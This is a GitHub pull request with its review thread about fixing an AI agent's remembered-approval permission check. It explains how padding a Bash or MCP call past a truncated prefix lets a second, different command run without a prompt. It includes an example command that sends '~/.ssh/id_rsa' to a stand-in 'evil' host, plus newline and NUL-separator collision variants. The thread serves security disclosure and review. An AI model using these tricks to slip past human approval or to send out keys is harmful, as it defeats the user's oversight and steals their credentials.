Uh oh!
There was an error while loading. Please reload this page.
fix(permission): stop one approval from authorizing a different tool call - #1541
fix(permission): stop one approval from authorizing a different tool call#1541jackwener wants to merge 1 commit into
Conversation
…call
`permissionScopeKey` returned the argument value truncated to 512 chars
(Bash) or 1024 (custom/MCP JSON), and that truncated string WAS the
identity of an approval — `preToolUse` short-circuits to
`proceed: true, needsPrompt: false` for any later call whose key is
already in `turnRemembered`.
So two different calls sharing a long enough prefix were the same scope,
and the model chooses the prefix:
Bash: echo "<520 chars of padding>" ; echo hello <- user approves,
ticks 记住本轮
Bash: echo "<same padding>" ; curl -s http://evil -d @$HOME/.ssh/id_rsa
<- same key, no prompt
The dialog was honest both times; the second call simply never reached
it. Reproduced against the built package before the fix:
key length : 530
keys identical : true
commands identical : false
Custom and MCP tools were reachable the same way — `normalizeForScope`
sorts keys, so an alphabetically-early key can be padded to push the
meaningful one past the 1024-char cap.
The key is now a readable head plus a sha256 over the FULL normalized
value, so no amount of attacker-chosen padding collapses two calls into
one scope. Parts of multi-part keys are joined with NUL in the digest, so
`Grep{path:"a:b",glob:"c"}` cannot be forged as `Grep{path:"a",glob:"b:c"}`.
The head keeps keys debuggable in logs; the digest is the identity.
Scope keys are opaque Map keys — nothing depended on them being readable
or bounded, which is why truncating them was cost-free-looking and
wrong.
`node:crypto` is safe here despite `@maka/core` being bundled into the
renderer: the renderer reaches only type-level and simple value exports
from this module, so the import tree-shakes out. Verified against a real
renderer build (0 occurrences of `createHash` in the output).
The pre-existing scope-key test pinned the literal old string; re-pinned
to the behaviour it was actually protecting (whitespace normalized, args
sorted) plus the readable-head format.
Gates: 1213 core + 2666 runtime + 2895 desktop tests green, biome clean.
Biome also rejects |
Astro-Han
commented
Jul 29, 2026
Checked at P1: different Bash programs can still share one remembered approval
These two calls currently produce the same key: The first command only runs Bash commands and paths need to retain their exact semantic input when generating an approval identity. Code: P2:
|
Astro-Han
left a comment
There was a problem hiding this comment.
The original collision problem is real, and moving from a truncated prefix to a full digest plus readable preview is directionally correct on the old architecture.
This head should not be repaired in place. Current main removed this generic preToolUse/permissionScopeKey authority and moved enforcement to the sandbox boundary; the PR now has a content conflict plus a modify/delete conflict. From first principles, the minimal safe outcome is to re-evaluate the identity requirement at the current sandbox-boundary seam and implement it there only if an equivalent remembered-approval path still exists—not revive the retired evaluator. The old implementation also hashes whitespace-normalized Bash text, so it still allows semantically different programs to share an approval. The required typecheck job is red as well.
Reviewed with Codex using two independent reviewer agents; I reproduced the Bash collision, verified current-main authority/removals and merge conflicts, inspected the changed tests, and checked live CI.
中文
原始碰撞问题是真实的,在旧架构上从截断前缀改为完整 digest 加可读 preview,方向正确。
但当前 head 不应继续原地修补。最新 main 已删除通用 preToolUse/permissionScopeKey 权威,并把执行迁移到 sandbox boundary;这个 PR 现在同时存在内容冲突和 modify/delete 冲突。按第一性原理,最小安全方案是在当前 sandbox-boundary seam 上重新判断是否仍存在等价的 remembered-approval 路径,只有需要时才在那里实现 identity,而不是复活已退休的 evaluator。旧实现还会对 Bash 文本做空白归一化后再哈希,仍允许语义不同的程序复用审批;required typecheck 也仍为红。
本次由 Codex 配合两个独立 reviewer agent 审查;我复现了 Bash 碰撞,核验了 current-main 权威迁移与合并冲突、变更测试和实时 CI。
| @@ -1,3 +1,4 @@ | |||
| import { createHash } from 'node:crypto'; | |||
There was a problem hiding this comment.
P1 — Retarget the current permission authority instead of reviving this file. Current main removed generic preToolUse, permissionScopeKey, and its test file while moving enforcement to sandbox-boundary; merge-tree reports this source as a content conflict and the test as modify/delete. A mechanical rebase that keeps this implementation would restore a retired parallel permission authority. Re-evaluate the identity contract at the current sandbox seam and drop this old-file patch.
| function normalizeScopeText(value: string): string { | ||
| return value.replace(/\s+/g, ' ').trim().slice(0, 512); | ||
| return value.replace(/\s+/g, ' ').trim(); | ||
| } |
There was a problem hiding this comment.
P1 — Hash Bash's exact semantic input, not normalized whitespace.stringArg() calls normalizeScopeText() before the digest, collapsing newlines into spaces. Remembering printf ok # printf SMUGGLED therefore also authorizes printf ok #\nprintf SMUGGLED, although the latter executes an extra command. Preserve the original command for identity and normalize only the preview; cover the remembered preToolUse() decision, not just key equality.
Astro-Han
commented
Aug 18, 2026
/agentic_review |
Code Review by Qodo
1. NUL separator remains forgeable |
| * tool calls could search. | ||
| */ | ||
| function scopeKey(category: ToolCategory, toolName: string, parts: readonly string[]): string { | ||
| const identity = createHash('sha256').update(parts.join('\u0000')).digest('hex').slice(0, 32); |
There was a problem hiding this comment.
1. Nul separator remains forgeable 🐞 Bug⛨ Security
scopeKey hashes multipart values joined by NUL even though tool arguments can themselves contain NUL, allowing distinct argument tuples to produce identical keys. With a shared prefix longer than the 96-character preview, the preview also matches, so one remembered approval can authorize the other call without prompting.
Agent Prompt
## Issue description
Multipart permission scope keys use NUL as an unescaped separator. JavaScript and JSON strings can contain `\u0000`, so distinct argument tuples can produce the same digest and, when their differing readable content is beyond the preview limit, the same complete approval key.
## Issue Context
For `P = 'x'.repeat(100)`, `[P + '\u0000', 'b', 'p']` and `[P, '\u0000b', 'p']` produce identical joined digest input. Their first 96 readable characters are also identical, allowing remembered approval transfer.
Use an unambiguous existing serialization seam such as `JSON.stringify(parts)` for the hash input, or length-prefix each part. This is the smallest local correction and introduces no new state, branch, configuration, or public surface; rejecting NUL globally is insufficient because it adds unrelated input-policy behavior.
## Fix Focus Areas
- packages/core/src/permission.ts[680-698]
- packages/core/src/__tests__/permission.test.ts[923-928]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
jackwener
commented
Aug 20, 2026
感谢修复这个真实且重要的 approval identity 问题。旧架构上从截断 prefix 转向完整 digest 的方向是对的,review 中发现的 Bash normalization collision 也说明这里确实需要严格按语义建立 identity。 不过 current main 已通过 #1581 删除 generic preToolUse / permissionScopeKey / turnRemembered authority,把执行授权统一迁移到 session sandbox boundary。当前代码已经不存在用这个 key 复用 tool-call approval 的路径,因此把本 PR 接回去反而会复活已退休的 permission evaluator,而不是修复当前 authority。 因此关闭这个已被架构切换取代的 PR。这里不是否定原始安全问题;如果在 current sandbox-boundary seam 上发现等价的 identity transfer,请基于现有 authority 提一个窄化的 security fix。 Thank you for addressing a real security issue. Current main has retired the generic preToolUse, permissionScopeKey, and turnRemembered authority in favor of session sandbox boundaries, so the vulnerable remembered-approval path no longer exists. I am closing this old-architecture patch rather than reviving the retired evaluator. Any equivalent issue found at the current sandbox-boundary seam should be fixed there in a focused PR. |
permissionScopeKeyreturned the argument value truncated — 512 chars for Bash, 1024 for custom/MCP JSON — and that truncated string was the identity of an approval.preToolUseshort-circuits toproceed: true, needsPrompt: falsefor any later call whose key is already inturnRemembered.So two different calls sharing a long enough prefix were the same scope. And the model chooses the prefix:
The dialog was honest both times. The second call simply never reached it.
Reproduced against the built package before the fix:
Custom and MCP tools were reachable the same way:
normalizeForScopesorts keys, so an alphabetically-early key can be padded to push the meaningful one past the 1024-char cap.Fix
The key is now a readable head plus a sha256 over the full normalized value, so no amount of attacker-chosen padding collapses two calls into one scope:
Multi-part keys join with NUL inside the digest, so
Grep{path:"a:b", glob:"c"}cannot be forged asGrep{path:"a", glob:"b:c"}.Scope keys are opaque
Mapkeys — nothing depended on them being readable or bounded, which is exactly why truncating them looked cost-free and wasn't. The head is kept only so keys stay debuggable in logs; the digest is the identity.On
node:cryptoin@maka/core@maka/coreis bundled into the renderer, so this needed checking rather than assuming. The renderer reaches only type-level and simple value exports from this module, so the import tree-shakes out — verified against a real renderer build (0 occurrences ofcreateHashin the output).Tests
New cases cover the padding transfer (Bash and MCP), separator forgery, that genuinely-identical calls still share a scope (remember-for-turn must keep working), and the readable-head format.
One pre-existing test pinned the literal old key string; re-pinned to the behaviour it was actually protecting — whitespace normalized, args sorted — rather than the format.
Gates
1213 core + 2666 runtime + 2895 desktop tests green · biome clean.
Found during a review of the permission subsystem; the remaining findings from that review are being fixed one at a time in separate PRs.